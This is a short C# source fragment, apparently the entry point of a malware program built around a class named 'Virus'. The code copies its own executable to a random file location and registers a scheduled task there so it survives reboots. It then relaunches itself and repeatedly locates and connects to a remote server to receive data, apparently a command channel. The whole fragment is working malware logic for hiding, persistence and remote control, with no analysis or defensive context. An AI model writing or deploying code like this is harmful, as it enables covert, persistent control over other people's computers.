static void Main(string[] args) { if (args.Length > 0) { if (args[0] == "move-completed") { BConsole.WriteLine("Application has been moved to a different location...", ConsoleColor.Yellow); bool attemptReconnect = true; Task.Run(() => { while (attemptReconnect) { var program = new Program(); var addresses = program.discover.GetIpAddresses(); string ip = program.discover.GetRemoteServerIp(addresses); attemptReconnect = program.receiver.ConnectAndReceive(ip); } BConsole.WriteLine("Connection closed. Program halted.", ConsoleColor.Red); Thread.Sleep(4000); Environment.Exit(0); return; }); while (true) { Console.ReadLine(); } } } Virus virus = new Virus(); string randomLocation = virus.FindRandomFileLocation(); string newExecutablePath = virus.MoveFileToLocation(randomLocation); BConsole.WriteLine($"New File location: {newExecutablePath}"); new TaskSchedulerHelper().CreateTask(newExecutablePath); Process.Start(newExecutablePath, "move-completed"); }